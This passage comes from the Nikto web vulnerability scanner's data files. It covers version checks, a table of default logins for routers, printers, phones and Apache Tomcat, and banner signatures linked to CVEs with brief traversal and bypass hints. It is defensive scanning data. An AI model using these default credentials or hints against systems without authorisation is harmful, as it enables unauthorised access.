"601229","naukri.comnginx/","0.7.62","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601230","nfzmX/","700607","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601231","nginx-adamantsys/","0.7.67","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601232","nginx-catap/","0.8.7.528.179136c","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601233","proxy_xml/","0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601234","prxp_module/","1.13.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601235","psso_module/","0.9.28","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601236","pxg2_module/","0.8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601237","qip.mail/","4.1.2120328.01.2011","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601238","rackcorpcdn/","1.0.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601239","sws/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601240","uloztows/","1.26.19","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601241","xingyun/","0.8.88","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601242","yy365/","0.8.88","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601243","OwnServer/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601244","MobileAdmin/","7.0.15609","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601245","ClearSCADA/","6.71.4165.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601246","Zscaler/","3.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601247","comForteSWAPWebServer/","SLD_1055","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601248","corpweb/","3.3a.QEL4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601249","CouchDB/","1.0.2(ErlangOTP/R14B)","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601250","FreeBSDHost-WebServer/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601252","ISYSSearchServer/","9.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601253","MLDonkey/","3.0.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601254","mod_hive/","1.10","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601255","MX4J-HTTPD/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601256","Speedr/","0.8.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601257","Apache-ADTI/","1.3.41","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601258","EvoWebBase/","1.8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601259","Mohican/","127.0.0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601260","NetJetEngine/","2.29646EB013568","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601261","OCP/","1.3.27","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601262","Progressive/","3.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601263","River/","2.14","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601264","SiteWelder/","5.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601265","SmallWebServer/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601266","VWS/","3.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601267","WebContainer/","4.2.4.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601268","mod_auth_gforge/","0.5.9.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601269","mod_extfilter/","1.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601271","mod_pwdir/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601272","mod_security/","1.8.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601273","mod_suid/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601274","srp/","2.c","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601275","Jetty/","12.0.19","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER). Jetty 10.0.6 AND 9.4.41.v20210516 are also currently supported." "601276","Jetty\(","9.4.41.v20210516","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER). Jetty 10.0.6 AND 9.4.41.v20210516 are also currently supported." "601277","Sawmill/","8.7.7.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)." "601279","Jetty/winstone-","2.9","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)." "601280","KDH","2.9","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)." "601281","Alpha Anywhere Application Server/12.0 Build/","9906-5725","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)." ================================================ FILE: program/databases/db_realms ================================================ ####################################################################### # File Source: https://cirt.net # (c) 2001 Chris Sullo, All Rights Reserved. # This file may only be distributed and used with the full Nikto package. # This file may not be used with any software product without written permission from # Chris Sullo (sullo@cirt.net) # # Note: # By submitting updates to this file you are transferring any and all copyright # interest in the data to Chris Sullo so it can modified, incorporated into this product # relicensed or reused. ####################################################################### # format: realm,id,password,message # @ANY = match any realm name (generic) # If ID and PW fields are blank, realm match is used for message only ######################################################################## "nikto_id","realm","id","password","message" "700000","@ANY","","_Cisco","Cisco device" "700001","@ANY","","0","Accton wireless router" "700002","@ANY","","0000","Deutsche Telekomm T-Sinus 130 DSL" "700003","@ANY","","00000000","Konica/Minolta Di 2010f" "700004","@ANY","","12345","US Robotics modem" "700005","@ANY","","admin","Generic account discovered" "700006","@ANY","","Administrative","Avenger News System" "700007","@ANY","","cisco","Cisco device" "700008","@ANY","","Cisco","Cisco device" "700009","@ANY","","connect","Fujitsu Siemens" "700010","@ANY","","epicrouter","Conexant Router" "700011","@ANY","","intermec","Intermec EasyLAN" "700012","@ANY","","PASSWORD","Kyocera EcoLink" "700013","@ANY","","password","NRG/Ricoh printer" "700014","@ANY","","smcadmin","SMC Router" "700015","@ANY","","Symbol","Symbol Spectrum" "700016","@ANY","","TANDBERG","Tandberg device" "700017","@ANY","","x6zynd56","Polycom ViewStation" "700018","@ANY","1502","1502","X-Micro WLAN 11b router" "700019","@ANY","admin","","Generic account discovered" "700020","@ANY","admin","0000","Infosmart SOHO router" "700021","@ANY","admin","1111","Xerox WorkCentre Pro" "700022","@ANY","admin","1234","Generic account discovered" "700023","@ANY","admin","1234","ZyXEL Prestige" "700024","@ANY","admin","22222","Xerox DocuCentre 425" "700025","@ANY","admin","admin","Generic account discovered." "700026","@ANY","admin","administrator","Efficient Speedstream" "700027","@ANY","admin","articon","Blue Coat systems" "700028","@ANY","admin","asd","NGSec NGSecureWeb" "700029","@ANY","admin","barney","Avaya SIP telephone" "700030","@ANY","admin","barricade","SMC Barricade 7401BRA" "700031","@ANY","admin","demo","OpenMarket Content Server" "700032","@ANY","admin","epicrouter","Generic account discovered" "700033","@ANY","admin","hagpolm1","Siemens SpeedStream 4100" "700034","@ANY","admin","hp.com","Hewlett-Packard webmin" "700035","@ANY","Admin","ImageFolio","BizDesign ImageFolio" "700036","@ANY","admin","ironport","IronPrt C30" "700037","Motive Chorus","admin","isee","Hewlett-Packard Motive Chorus" "700038","@ANY","admin","linga","Alteon ACEswitch 180e" "700039","@ANY","admin","motorola","Motorola wireless router" "700040","@ANY","admin","mp3mystic","MP3Mystic" "700041","@ANY","admin","muze","Muze Ariadne" "700042","@ANY","admin","netadmin","Enterasys ANG-1105" "700043","@ANY","admin","operator","iPSTAR Satellite" "700044","@ANY","admin","password","Generic account discovered" "700045","@ANY","admin","secure","Generic account discovered" "700046","@ANY","admin","setup","Nortel Contivity" "700047","@ANY","admin","smallbusiness","Pirelli AGE-SB" "700048","@ANY","admin","smcadmin","SMC Barricade 7204BRB" "700049","@ANY","admin","synnet","3COM CellPlex" "700050","@ANY","admin","TANDBERG","Tandberg device" "700051","@ANY","admin","tomcat","Apache Tomcat" "700052","@ANY","admin@example.com","admin","MySQL Eventum" "700053","@ANY","Administrator","","Generic account discovered" "700054","@ANY","administrator","**#","Polycom Soundstation IP" "700055","@ANY","Administrator","0000","Snom VoIP business phone" "700056","@ANY","Administrator","1234","Integrated Networks IP Phone" "700057","@ANY","administrator","1234","IntelliTouch Voip Broadband phone" "700058","@ANY","Administrator","12345678","Integrated Networks IP Phone" "700059","@ANY","Administrator","19750407","Luxon Communications/Integrated Networks IP Phone" "700060","@ANY","Administrator","admin","Generic account discovered" "700061","@ANY","administrator","administrator","Compaq WBEM" "700062","@ANY","administrator","administrator","Generic account discovered." "700063","@ANY","administrator","adminpass","NessusWeb" "700064","@ANY","AdvWebadmin","advcomm500349","Hosting Controller" "700065","@ANY","anonymous","","Sambar Server" "700066","@ANY","apc","apc","APC UPS" "700067","@ANY","billy-bob","","Sambar Server" "700068","@ANY","Bobo","hello","OpenMarket Content Server" "700069","@ANY","cac_admin","cacadmin","Openwave MSP" "700070","@ANY","Cisco","Cisco","Cisco device" "700071","@ANY","Coco","hello","OpenMarket Content Server" "700072","@ANY","customer","","Aspect ACD" "700073","@ANY","device","device","APC UPS" "700074","@ANY","e250","e250changeme","Network Associates WebShield Security Appliance e250" "700075","@ANY","e500","e500changeme","Network Associates WebShield Security Appliance e500" "700076","@ANY","Flo","hello","OpenMarket Content Server" "700077","@ANY","ftp","","Sambar Server" "700078","@ANY","guest","","Generic account discovered" "700079","@ANY","guest","guest","Generic account discovered." "700080","@ANY","intel","intel","Intel wireless gateway" "700081","@ANY","jagadmin","","Sybase EAServer" "700082","@ANY","Jetform","","Jetform Design" "700083","@ANY","Joe","hello","OpenMarket Content Server" "700084","@ANY","LDAP_Anonymous","LdapPassword_1","Microsoft SiteServer" "700085","@ANY","manager","admin","Allied Telesyn switch" "700086","@ANY","Manager","fried","Allied Telesyn router" "700087","@ANY","Moe","hello","OpenMarket Content Server" "700088","@ANY","naadmin","naadmin","NetGenesis NetAnalysis Web Reporting" "700089","@ANY","operator","","Magicolor 3100" "700090","@ANY","operator","$schwarzepumpe","Intershop" "700091","@ANY","piranha","piranha","Redhat 6.2" "700092","@ANY","piranha","q","Redhat 6.2" "700093","@ANY","Polycom","SpIp","Polycom Soundpoint VoIP phones" "700094","@ANY","public","public","Samsung Router" "700095","@ANY","role","changethis","Apache Tomcat" "700096","@ANY","role1","role1","Apache Tomcat" "700097","@ANY","Root","","3COM Netbuilder" "700098","@ANY","root","","Generic account discovered" "700099","@ANY","root","calvin","Dell Remote Access Card" "700100","@ANY","root","changeme","Sun Microsystems ILOM/X4100" "700101","@ANY","root","changethis","Apache Tomcat" "700102","@ANY","tomcat","s3cret","Apache Tomcat" "700103","@ANY","root","Cisco","Cisco device" "700104","@ANY","root","nsi","NSI vmXfw" "700105","@ANY","root","pass","Axis Webcams" "700106","@ANY","root","password","BestPractical RT" "700107","@ANY","root","root","Apache Tomcat" "700108","@ANY","root","root","Generic account discovered" "700109","@ANY","root","tslinux","Cyclades TS800" "700110","@ANY","sadmin","","Novell NDS iMonitor" "700111","@ANY","smc","smcadmin","SMC Barricade 7401BRA" "700112","@ANY","storwatch","specialist","IBM TotalStorage" "700113","@ANY","super","5777364","Netgear wireless gateway" "700114","@ANY","superadmin","secret","IBM Web administration tool" "700115","@ANY","superman","21241036","Netgear wireless gateway" "700116","@ANY","superuser","admin","Efficient Speedstream" "700117","@ANY","supervisor","PlsChgMe","Nortel Business Communications Manager" "700118","@ANY","support","h179350","Psion Teklogix 9150" "700119","@ANY","sys","uplink","Openwave WAP gateway" "700120","@ANY","sysadmin","password","Ricoh Aficio" "700121","@ANY","system","password","Mitel 3300 ICP" "700122","@ANY","test","test","Generic account discovered." "700123","@ANY","tomcat","changethis","Apache Tomcat" "700124","@ANY","tomcat","tomcat","Apache Tomcat" "700125","@ANY","user_analyst","demo","OpenMarket Content Server" "700126","@ANY","user_approver","demo","OpenMarket Content Server" "700127","@ANY","user_author","demo","OpenMarket Content Server" "700128","@ANY","user_checker","demo","OpenMarket Content Server" "700129","@ANY","user_designer","demo","OpenMarket Content Server" "700130","@ANY","user_editor","demo","OpenMarket Content Server" "700131","@ANY","user_expert","demo","OpenMarket Content Server" "700132","@ANY","user_marketer","demo","OpenMarket Content Server" "700133","@ANY","user_pricer","demo","OpenMarket Content Server" "700134","@ANY","user_publisher","demo","OpenMarket Content Server" "700135","@ANY","user","","D-Link router" "700136","@ANY","User","","D-Link router" "700137","@ANY","webadmin","1234","ZyXEL Prestige" "700138","@ANY","webadmin","webadmin","Broadlogic XLT router" "700139","@ANY","websecadm","changeme","Entrust getAccess" "700140","ConfigToolPassword",,,"Realm matches a Nokia Checkpoint Firewall-1" "700141","daap","","","DAAP (iTunes?) server with authentication." "700142","EIC","root","ncr","Enterprise Intranet Configurator - NCR Teradata server" "700143","Entrust GetAccess SCA","admin","admin","Entrust GetAccess Service Control Agent" "700144","hp print server appliance","admin","admin","HP Print Server" "700145","InterScanVirusWall","admin","admin","Trend Micro's InterScan Virus Wall" "700146","Monitor or Admin","admin","","StorageTek's StorageNet, ID 'admin' with no password" "700147","Monitor or Admin","monitor","","StorageTek's StorageNet, ID monitor' with no password" "700148","Netscape Administration","admin","admin","Netscape server administration" "700149","Netscape Mission Control","admin","admin","Netscape server administration" "700150","Topaz Prism Site","admin","admin","Topaz Prism monitoring from Mercurity Interactive" "700151","Topaz Site Realm","admin","admin","Mercury Interactive Topaz administrator" "700152","UpgradeAdministrator","admin","ncr","NCR's Terradata server, Parallel Upgrade Tool (PUT)" "700153","@ANY","manager","manager","3com switch/Apache Tomcat" "700154","Linksys WAG160N ","","admin","Wireless-N ADSL2+ Gateway WAG160N" "700155","@ANY","tomcat","","Apache Tomcat" "700156","@ANY","j2deployer","j2deployer","Apache Tomcat" "700157","@ANY","ovwebusr","OvW*busr1","Apache Tomcat" "700158","@ANY","cxsdk","kdsxc","Apache Tomcat" "700159","@ANY","root","owaspbwa","Apache Tomcat" "700160","@ANY","ADMIN","ADMIN","Apache Tomcat" "700161","@ANY","xampp","xampp","Apache Tomcat" "700162","@ANY","QCC","QLogic66","Apache Tomcat" "700163","@ANY","both","tomcat","Apache Tomcat" "700164","@ANY","role1","tomcat","Apache Tomcat" "700165","@ANY","admin","changethis","Apache Tomcat" "700166","SPIP Configuration","Polycom","456","Polycom SoundStation/SoundPoint IP" "700167","@ANY","username","password","ComfortableMexicanSofa CMS Engine" "700168","OSGi Management Console","admin","admin","Adobe Experience Manager default password found" "700169","Power+ (default: admin/admin)","admin","admin","Gamatronic Power+ default password found" ================================================ FILE: program/databases/db_server_msgs ================================================ ####################################################################### # File Source: https://cirt.net # (c) 2001 Chris Sullo, All Rights Reserved. # This file may only be distributed and used with the full Nikto package. # This file may not be used with any software product without written permission from # Chris Sullo (sullo@cirt.net) # # Note: # By submitting updates to this file you are transferring any and all copyright # interest in the data to Chris Sullo so it can modified, incorporated into this product # relicensed or reused. ####################################################################### "nikto_id","server","reference","message" "800000","4D_WebSTAR_S\/5\.([0-2]|3\.[0-2])","CVE-2004-0696","May be vulnerable to multiple flaws." "800001","4D_WebSTAR_S\/5\.([0-2]|3\.[01])","","May be vulnerable to denial of service through an OpenSSL implementation bug." "800002","4D_WebSTAR_S\/5\.([0-3]|4[^.])","CVE-2005-1507","May be vulnerable to a buffer overflow in Tomcat plugin URL." "800003","4D_WebSTAR_S\/5\.3\.1","https://www.exploit-db.com/exploits/96","4D_WebSTAR_S may be vulnerable to remote exploitable buffer overflow." "800004","Abyss\/1\.0\.3","CVE-2002-0543","May be vulnerable to directory traversal by using '%5c%2e%2e%5c' type paths." "800005","ADSM_HTTP\/","","May be Tivoli server administration. Default account is admin/admin." "800006","Acme.Serve/v1.7 of 13nov96","http://www.acme.com/java/software/Acme.Serve.Serve.html","Java class Acme.Serve.Serve is used as an embedded server for many devices, including APC InfraStruXure Manager. This server string is the default for the servlet. Check for port 9090, which may have a browsable c:\ drive." "800007","AdSubtract","","Adsubtract.com, a Windows proxy which removes popup ads, can be configure for remote access or localhost only." "800008","Agranat-EMWeb","","Most likely a printer." "800009","alibaba","https://www.tenable.com/plugins/nessus/10012","Outdated Alibaba servers had multiple problems (overflows, etc)" "800010","Allegro-Software-RomPager","","Most likely a printer." "800011","allegro-software","","Most often a printer or other embedded device" "800012","american sitebuilder","","http://www.american.com/product1.html" "800013","aolserver","","http://www.aolserver.com/ runs on Dec OSF1" "800014","Apache Tomcat\/4\.(0\.[1-4]|1\.[0-9][^0-9]|1\.10)","CVE-2002-1148","May be vulnerable to JSP source code exposure." "800015","Apache Tomcat\/4\.0\.3","CVE-2002-0935","Apache Tomcat 4.0.3 Win 2000 server is vulnerable to a DoS attack. Upgrade to a 4.1.3beta or higher." "800016","apache-ssl-us","","http://apachessl.c2.net" "800017","Apache\/.* Ben-SSL\/1\.([0-9][^0-9]|[0-3][0-9]|4[0-6])[^0-9]","","This version of Apache-SSl is vulnerable to a buffer overflow." "800018","Apache\/(1\.2\.([2-9].*|1[0-9])|1\.3\.([0-1].*|2[0-4]))","CVE-2002-0392","Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution." "800019","Apache\/1\.0\.3","","Probably a Xerox printer" "800020","Apache\/1\.1\.1","","May be able view directory contents regardless of index.html" "800021","Apache\/1\.1\.3","CVE-1999-0071","Apache 1.1.1 and below have a mod_cookies buffer overflow" "800022","Apache\/1\.3\.(0.*|1.*|2[0-6])","CVE-2002-0839","Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system." "800023","Apache\/1\.3\.(0.*|1.*|2[0-8])","CVE-2003-0542","Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi." "800024","Apache\/1\.3\.27","CVE-2003-0460","Windows and OS/2 version vulnerable to remote exploit." "800025","Apache\/2\.0\.([0-2].*|3.*)","CVE-2002-0661","Apache 2.0 to 2.0.39 Windows may be vulnerable to arbitrary file retrieval." "800026","Apache\/2\.0\.([0-2].*|3[0-8])","CVE-2002-0392","Apache 2.0 up 2.0.36 are vulnerable to a remote DoS and possible code execution." "800027","Apache\/2\.0\.([0-3].*|4.[0-8])","CVE-2003-0542","Apache 2.0 to 2.0.48: overflows in mod_alias and mod_rewrite." "800028","Apache\/2\.0\.([0-3].*|4[0-6])","CVE-2003-0192, CVE-2003-0253, CVE-2003-0254, CERT VU#379828","Apache 2.0 up 2.0.46 are vulnerable to multiple remote problems." "800029","Apache\/2\.0\.([0-3].*|4[0-7])","CVE-2003-0789. CVE-2003-0542, CVE-2003-0789","Apache 2.0 up 2.0.47 are vulnerable to multiple remote problems in mod_rewrite and mod_cgi." "800030","Apache\/2\.0\.([0-4].*|5\.[0-1])","CVE-2004-0786","Apache 2.0 to 2.0.51 contain multiple problems: overflow in apr-util, config file variable overflow, indirect lock refresh DoS, SSL input filter DoS, potential infinite loop." "800031","Apache\/2\.0\.([0-4].*|5\.[0-2])","CVE-2004-0811","Apache 2.0 to 2.0.52 could allow bypassing of authentication via the Satisfy directive." "800032","Apache\/2\.0\.([0-4].*|5\.[0-3])","CVE-2004-0885","Apache 2.0 to 2.0.53 allows bypassing of an SSLCipherSuite setting, and a memory exhaustion DoS through MIME folded requests." "800033","Apache\/2\.0\.([0-4].*|5\.0)","CVE-2004-0488, CVE-2004-0493","Apache 2.0 to 2.0.50 contain a buffer overflow in FakeBasicAuth with trusted client certificates, and a DoS with certain input data." "800034","Apache\/2\.0\.(3[7-9]|4[0-5])","CVE-2003-0245","Apache versions 2.0.37 through 2.0.45 are vulnerable to a DoS in mod_dav." "800035","Apache\/2\.0\.[0-4].*","CVE-2004-0113","Apache 2.0 to 2.0.49: memory leak in plain-HTTP-on-SSL-port handling, a DoS with short-lived connections on rarely-accessed sockets, and may allow unescaped data into logfiles." "800036","Apache\/2\.0\.4[0-5]","CVE-2003-0189","Apache versions 2.0.40 through 2.0.45 are vulnerable to a DoS in basic authentication." "800037","Apache\/2\.0\.43","CVE-2003-0016, CVE-2003-0017","Win9x and ME servers allow arbitrary code execution, DoS and/or arbitrary file retrieval." "800038","Apache\/2\.0\.44","CVE-2003-0132","Apache 2.0.44 is vulnerable to a DoS when linefeed characters are submitted consecutively." "800039","apachejserv\/1\.(0|1\.[0-1])","CVE-2001-0307","This version of Apache JServ allows files to be retrieved and possibly executed from outside the web root." "800040","aserve","","http://www.phone.net/aws" "800041","ATPhttpd\/0\.4","https://seclists.org/bugtraq/2001/Dec/142","ATPhttpd 0.4 contains a DoS by sending a GET 3000 chars long (many times)." "800042","avenida","","http://www.avenida.co.uk/" "800043","Avirt","","Check www.avirt.com for updates, some versions of the proxies have buffer overflows that allow attackers to run arbitrary commands." "800045","BadBlue\/([0-1].*|2\.[0-9]{1}|2\.1[0-5]{1})","https://www.exploit-db.com/exploits/22511","BadBlue Web server 2.15 allow remote users to execute commands on the machine." "800046","BadBlue\/(0\..*|1\.([0-6].*|7\.0))","CVE-2002-0800","BadBlue Web server 1.7.0 and below allows directories to be listed by appending a unicode % to the end of a string." "800047","bkhttp\/0.3","https://securiteam.com/securitynews/5TP0D0K8UQ/","BitKeeper may allow anyone to execute arbitrary commands on the remote system." "800048","Blazix\/1\.2\.1","","Can view JSP source by appending a + to the end of the request." "800049","boa","","http://www.boa.org/" "800050","boulevard","","http://www.resnova.com/boulevard" "800051","Brickserver Modifications","","May be vulnerable to %2f type directory listing vulnerabilities if the directory contains an index.shtml but not index.html file." "800052","cpaneld","","This is a web hosting manager. It should not be running unless required, as it allows web server administration." "800053","cern","","http://www.w3.org/hypertext/WWW/Daemon" "800054","ChaiServer","","HP printer." "800055","Cherokee\/0\.2\.7","http://www.securitytracker.com/alerts/2001/Dec/1003074.html","This version of Cherokee allows arbitrary files to be retrieved remotely." "800056","cisco ios","","Cisco Catalyst Switch" "800057","cisco-CPA","","Most likely a router/switch web management port" "800058","cl-http","","http://www.ai.mit.edu/projects/iiip/doc/cl-http/home-page.html" "800059","Cobalt","","Cobalt RaQ system" "800060","commerce-builder","","http://www.ifact.com/" "800061","CompaqHTTPServer","","Has had a few remote DoS issues. Can also give a lot of system information, especially if anonymous access enabled." "800062","cosmos","","http://www.ris.fr/" "800063","DeleGate\/","","www.globalintersec.com has found multiple vulnerabilities in the DeleGate proxies and recommends using Squid or another proxy device as the author(s) have not fixed previous versions." "800064","DeleGate\/7\.7\.[0-1]","","DeleGate 7.7.1 & 7.7.0 are vulnerable to CSS." "800065","dwhttpd","","Probably Sun Microsystem's AnswerBook server. v3.1a4, 4.0.2a7a and 4.1a6 have problems." "800066","dwhttpd\/4\.(0\.2a7a|1a6)","","May allow unauthorized users to add administrators or view logs remotely." "800067","Embedded HTTP Server","","Likely this is a D-Link SoHo router." "800068","emwac","","http://emwac.ed.ac.uk/" "800069","enterpriseweb","","http://www.beyond-software.com/products/eweb/eweb.html" "800070","Eserv\/2\.97","","Server allows pass protected directories to be retrieved by prepending '/./' to it, i.e., http://server/./protected/, or directory listings by appending ?" "800071","Essentia\/2\.1","","Essentia 2.1 is vulnerable to directory traversal problems with /../ type requests, along with a DoS on long (2000 chars) requests." "800072","Ews/","","Probably a printer." "800073","falcon","","May allow ../../ file system browsing" "800074","fnord","","Win 32 platform" "800075","Folkweb","","Win 32 platform" "800076","frontier","","http://www.frontiertech.com/products/superweb.htm" "800077","frontpage","http://www.insecure.org/sploits/Microsoft.frontpage.insecurities.html","Microsoft Frontpage contained many vulnerabilities." "800078","^ghttpd\/1\.[0-4]","","The Ghttpd server may contain a remote buffer overflow. Upgrade to the latest version." "800079","glaci","","Netware web server" "800081","GoAhead-Webs\/2\.(0.*|1)","CVE-2002-1951","GoAhead-Webs 2.1 and below is vulnerable to command execution through a buffer overflow." "800082","Gordian Embedded","","Lantronix device, may give system/networking information freely. Could be an access badge reader/card swipe." "800083","goserve","","http://www2.hursley.ibm.com/goserve" "800084","gosite","","http://www.gosite.com/" "800085","GWS\/","","Could be the Google Web Server. 2.0 seems to be current." "800086","hellbent java webserver v0.1","","This version of the server is vulnerable to a path disclosure bug and can allow attackers to view .prefs files under certain circumstances. Upgrade to 0.11 or higher." "800087","homedoor","","http://www.opendoor.com/" "800088","HP-Web-Server","","HP Printer" "800089","hyperwave","","http://www.hyperwave.com/" "800090","i\/net","","http://www.inetmi.com/" "800091","ibm internet connection server","","http://www.ics.raleigh.ibm.com" "800092","IBM-HTTP-Server\/1\.0","","This IBM web server allows file source to be viewed by adding a '/' to the URI, like http://server/index.jsp/" "800093","icecast/1\.3\.(7|8.*beta[0-2])","","This version of Icecast may allow an attacker to execute commands on the server with a format string attack." "800094","iis\/4","","May be able to bypass security settings using 8.3 file names. ESB-98.015." "800095","Intrusion\/","","The server may be running Tripwire for web pages. This can allow attackers to gain sensitive information about the web setup." "800096","Ipswitch-IMail\/7\.11","https://seclists.org/bugtraq/2002/Jul/363","May be vulnerable to a remote command execution overflow." "800097","Jaguar Server","","Probably a Sybase web interface" "800098","jakarta-tomcat-4.0.1","","Server will reveal path" "800099","JavaWebServer","","Probably Sun Microsystem's servlet interface. May have default code which is exploitable. Try admin/admin for id/password." "800100","JetAdmin","","HP Printer" "800101","Jeus WebContainer\/([0-3]\.[0-2]\..*)","","JEUS below 3.2.2 is vulnerable to XSS if a nonexistent url is requested, i.e. [victim site]/[javascript].jsp" "800102","Jigsaw\/([0-1].*|2\.([0-1].*|2\.0))","","Jigsaw 2.1.0 or below may be vulnerable to XSS if a nonexistent host name is requested, i.e. nosuchhost.domain.com/<script>..." "800103","Jigsaw\/2\.2\.1","","Jigsaw 2.1.1 on Windows may be tricked into revealing the system path by requesting /aux two times." "800104","JRun\/([0-3]\..*|4\.0)","CVE-2002-2187","JRun 4.0 and below on IIS is vulnerable to remote buffer overflow with a filename over 4096." "800105","JRun\/3\.1","","JRun 3.1 on Windows NT/2000 is vulnerable to remote buffer overflow in the Host header field that can allow attackers to exploit the system." "800106","KazaaClient","https://securiteam.com/securitynews/5UP0L2K55W/","Kazaa may allow sensitive information to be retrieved." "800107","LabVIEW\/(5\.[1-9]|6\.[0-1])","","LabVIEW 5.1.1 to 6.1 is vulnerable to a remote DoS by sending a malformed GET request. This DoS was not attempted." "800108","Lasso\/3\.6\.5","","This version of Blueworld WebData engine is vulnerable to DoS by sending a 1600 character long GET request." "800109","LilHTTP\/2\.1","","LilHTTP server 2.1 allows password protected resources to be retrieved by prepending '/./' to the url." "800110","LocalWeb2000\/([0-1]\.*|2\.(0\.*|1\.0))","","LocalWeb2000 2.1.0 and below allow protected files to be retrieved by prepending the request with /./" "800111","Lotus-Domino\/([0-3].*|4\.([0-1].*|2\.([0-1].*|3)))","","This version of Lotus-Domino server has had multiple vulnerabilities." "800112","Lotus-Domino\/4\.[5-6]","CVE-2003-0123","This version of Lotus-Domino server is vulnerable to a DoS via the WEb Retriever." "800113","Lotus-Domino\/5","CVE-2003-0123","This version of Lotus-Domino server is vulnerable to a DoS via the WEb Retriever." "800114","Lotus-Domino\/5\.0\.9","","This version of Lotus-Domino server is vulnerable to a DoS via requesting DOS devices" "800115","Lotus-Domino\/6b.*","CVE-2003-0123","This version of Lotus-Domino server is vulnerable to a DoS via the WEb Retriever." "800116","Lotus-Domino\/Release-([0-3].*|4\.([0-1].*|2\.([0-1].*|3)))","CVE-2003-0123","This version of Lotus-Domino server has had multiple vulnerabilities." "800117","Lotus-Domino\/Release-4\.[5-6]","","This version of Lotus-Domino server is vulnerable to a DoS via the WEb Retriever." "800118","Lotus-Domino\/Release-5","CVE-2003-0123","This version of Lotus-Domino server is vulnerable to a DoS via the WEb Retriever." "800119","Lotus-Domino\/Release-5\.0\.9","","This version of Lotus-Domino server is vulnerable to a DoS via requesting DOS devices" "800120","Lotus-Domino\/Release-6b*","CVE-2003-0123","This version of Lotus-Domino server is vulnerable to a DoS via the WEb Retriever." "800121","machttp","","http://www.starnine.com/machttp may let you download log files" "800122","mathopd","","http://mathop.diva.nl/" "800123","MegaTime Chart Server","","Server returns a .png file for all requests, all results should be validated as false-positives are likely." "800124","micro-http/","","Probably a printer (Tektronix?)." "800125","MiniServ","","This is the Webmin Unix administrator. It should not be running unless required." "800126","mod_auth_mysql\/((0\..*)|(1\.[0-9]$))","","This version allows an SQL insertion attack that could allow attackers to execute arbitrary SQL commands." "800127","mod_auth_oracle\/0\.(([0-4].*)|(5\.[0-1].*))","","This version allows an SQL insertion attack that could allow attackers to execute arbitrary SQL commands." "800128","mod_auth_pgsql_sys\/0\.(([0-8]\..*)|(9\.[0-4].*))","","This version allows an SQL insertion attack that could allow attackers to execute arbitrary SQL commands." "800129","mod_auth_pgsql\/0\.(([0-8]\..*)|(9\.[0-5].*))","","This version allows an SQL insertion attack that could allow attackers to execute arbitrary SQL commands." "800130","mod_python\/(1.*|2\.([0-6]\..*|7\.[0-6]))","","mod_python 2.7.6 or older may allow attackers to execute functions remotely." "800131","mod_security\/1\.7([0-1]|RC.*)","CVE-2003-1171","mod_security 1.7RC1 to 1.7.1 are vulnerable to a buffer overflow. Upgrade to 1.7.2 or higher." "800132","mod_ssl\/(1.*|2\.([0-7]\..*|8\.[0-6]))","CVE-2002-0082","mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell." "800133","mod_survey\/[0-3]\.0\.((9|1[0-3])|(14[a-d])|(15\-pre[0-5]))","","mod_survey is vulnerable to a remote buffer overflow. It should be upgraded to the latest version." "800134","mofet simple","","Mofet Simple 